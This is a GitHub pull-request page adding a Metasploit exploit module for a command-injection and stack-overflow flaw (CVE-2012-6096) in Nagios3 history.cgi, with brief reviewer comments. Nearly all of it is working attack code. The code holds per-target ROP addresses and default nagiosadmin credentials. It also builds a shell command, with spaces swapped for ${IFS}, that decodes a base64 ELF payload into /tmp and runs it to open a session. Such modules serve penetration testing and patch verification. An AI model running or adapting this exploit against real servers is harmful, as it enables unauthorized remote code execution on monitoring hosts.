-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Nagios3 history.cgi exploit #1314
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,254 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'rex' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Nagios3 history.cgi Host Command Execution', | ||
'Description' => %q{ | ||
This module abuses a command injection vulnerability in the | ||
Nagios3 history.cgi script. | ||
}, | ||
'Author' => [ | ||
'Anonymous <temp66@gmail.com>', # Original finding | ||
'blasty <blasty@fail0verflow.com>', # First working exploit | ||
'Jose Selvi <jselvi@pentester.es>' # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', '2012-6096' ], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would be nice to add OSVDB (88322), BID (56879) and EDB (24084) references. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Working on it. |
||
[ 'OSVDB', '88322' ], | ||
[ 'BID', '56879' ], | ||
[ 'EDB', '24084' ], | ||
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ], | ||
[ 'URL', 'http://pastebin.com/FJUNyTaj' ], | ||
], | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ ARCH_X86 ], | ||
'Privileged' => false, | ||
'Payload' => | ||
{ | ||
'Space' => 200, # Due to a system() parameter length limitation | ||
'BadChars' => '', # It'll be base64 encoded | ||
}, | ||
'Targets' => | ||
[ | ||
[ 'Automatic Target', { 'auto' => true }], | ||
# NOTE: All addresses are from the history.cgi binary | ||
[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)', | ||
{ | ||
'BannerRE' => 'Apache/2.2.15 (CentOS)', | ||
'VersionRE' => '3.4.1', | ||
'Arch' => ARCH_X86, | ||
'Offset' => 0xc43, | ||
'RopStack' => | ||
[ | ||
0x0804c260, # unescape_cgi_input() | ||
0x08048f04, # pop, ret | ||
0x08079b60, # buffer addr | ||
0x08048bb0, # system() | ||
0x08048e70, # exit() | ||
0x08079b60 # buffer addr | ||
] | ||
} | ||
], | ||
[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested. | ||
{ | ||
'BannerRE' => 'Debian', | ||
'VersionRE' => '3.3.0', | ||
'Arch' => ARCH_X86, | ||
'Offset' => 0xc37, | ||
'RopStack' => | ||
[ | ||
0x0804b620, # unescape_cgi_input() | ||
0x08048fe4, # pop, ret | ||
0x080727a0, # buffer addr | ||
0x08048c7c, # system() | ||
0xdeafbabe, # if should be exit() but it's not | ||
0x080727a0 # buffer addr | ||
] | ||
} | ||
], | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Dec 09 2012')) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), | ||
OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]), | ||
OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]), | ||
], self.class) | ||
end | ||
|
||
def detect_version(uri) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If there is a method to detect version based on the banner, I suppose a check() method could be added. Its a good practice to add check always when possible. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Working on it. |
||
# Send request | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => uri, | ||
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, | ||
}, 10) | ||
|
||
# Error handling | ||
if(res.code == 401) | ||
print_error("Please specify correct values for USER and PASS") | ||
return nil, nil | ||
end | ||
if(res.code == 404) | ||
print_error("Please specify the correct path to history.cgi in the URI parameter") | ||
return nil, nil | ||
end | ||
if res.nil? | ||
print_error("Unable to get a response from the server") | ||
return nil, nil | ||
end | ||
|
||
# Extract banner from response | ||
banner = res.headers['Server'] | ||
|
||
# Extract version from body | ||
version = nil | ||
version_line = res.body.match(/Nagios® Core™ [0-9.]+ -/) | ||
if not version_line.nil? | ||
version = version_line[0].match(/[0-9.]+/)[0] | ||
end | ||
|
||
# Check in an alert exists | ||
alert = res.body.match(/ALERT/) | ||
|
||
return version, banner, alert | ||
end | ||
|
||
def select_target(version, banner) | ||
# Get version information | ||
if not banner.nil? | ||
print_status("Web Server banner: #{banner}") | ||
end | ||
if not version.nil? | ||
print_status("Nagios version detected: #{version}") | ||
end | ||
|
||
# No banner and version, no target | ||
if banner.nil? or version.nil? | ||
return nil | ||
end | ||
|
||
# Try regex for each target | ||
self.targets.each do |t| | ||
if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target | ||
next | ||
end | ||
regexp1 = Regexp.escape(t['BannerRE']) | ||
regexp2 = Regexp.escape(t['VersionRE']) | ||
if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then | ||
return t | ||
end | ||
end | ||
# If not detected, return nil | ||
return nil | ||
end | ||
|
||
def check | ||
print_status("Checking banner and version...") | ||
# Detect version | ||
banner, version, alert = detect_version(target_uri.path) | ||
# Select target | ||
mytarget = select_target(banner, version) | ||
|
||
if mytarget.nil? | ||
print_error("No matching target") | ||
return CheckCode::Unknown | ||
end | ||
if alert.nil? | ||
print_error("At least one ALERT is needed in order to exploit") | ||
return CheckCode::Safe | ||
end | ||
|
||
return CheckCode::Vulnerable | ||
end | ||
|
||
def exploit | ||
# Automatic Targeting | ||
mytarget = nil | ||
if (target['auto']) | ||
print_status("Automatically detecting the target...") | ||
banner, version, alert = detect_version(target_uri.path) | ||
mytarget = select_target(banner, version) | ||
if mytarget.nil? | ||
fail_with(Exploit::Failure::NoTarget, "No matching target") | ||
end | ||
else | ||
mytarget = target | ||
end | ||
|
||
print_status("Selected Target: #{mytarget.name}") | ||
if alert and alert.nil? | ||
fail_with(Exploit::Failure::NoTarget, "At least one ALERT is needed in order to exploit") | ||
end | ||
print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}") | ||
|
||
# Generate a payload ELF to execute | ||
elfbin = generate_payload_exe | ||
elfb64 = Rex::Text.encode_base64(elfbin) | ||
|
||
# Generate random filename | ||
tempfile = '/tmp/' + rand_text_alphanumeric(10) | ||
|
||
# Generate command-line execution | ||
cmd = 'echo ' + elfb64 + '|base64 -d|tee ' + tempfile + ';chmod 700 ' + tempfile + ';rm -rf ' + tempfile + '|' + tempfile + ';' | ||
host_value = cmd.gsub!(' ', '${IFS}') | ||
|
||
# Generate 'host' parameter value | ||
padding_size = mytarget['Offset'] - host_value.length | ||
host_value << rand_text_alphanumeric( padding_size ) | ||
|
||
# Generate ROP | ||
host_value << mytarget['RopStack'].pack('V*') | ||
|
||
# Send exploit | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => target_uri.path, | ||
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, | ||
'vars_get' => | ||
{ | ||
'host' => host_value | ||
} | ||
}, 10) | ||
|
||
if(not res) | ||
if session_created? | ||
print_status("Session created, enjoy!") | ||
else | ||
print_error("No response from the server") | ||
end | ||
return | ||
end | ||
|
||
if(res.code == 401) | ||
print_error("Please specify correct values for USER and PASS") | ||
return | ||
end | ||
|
||
if(res.code == 404) | ||
print_error("Please specify the correct path to history.cgi in the URI parameter") | ||
return | ||
end | ||
|
||
print_status("Unknown response") | ||
end | ||
|
||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Prolly it doesn't fit the requirements for ExcelentRanking. We can redefine it once finished. Just pointing atm.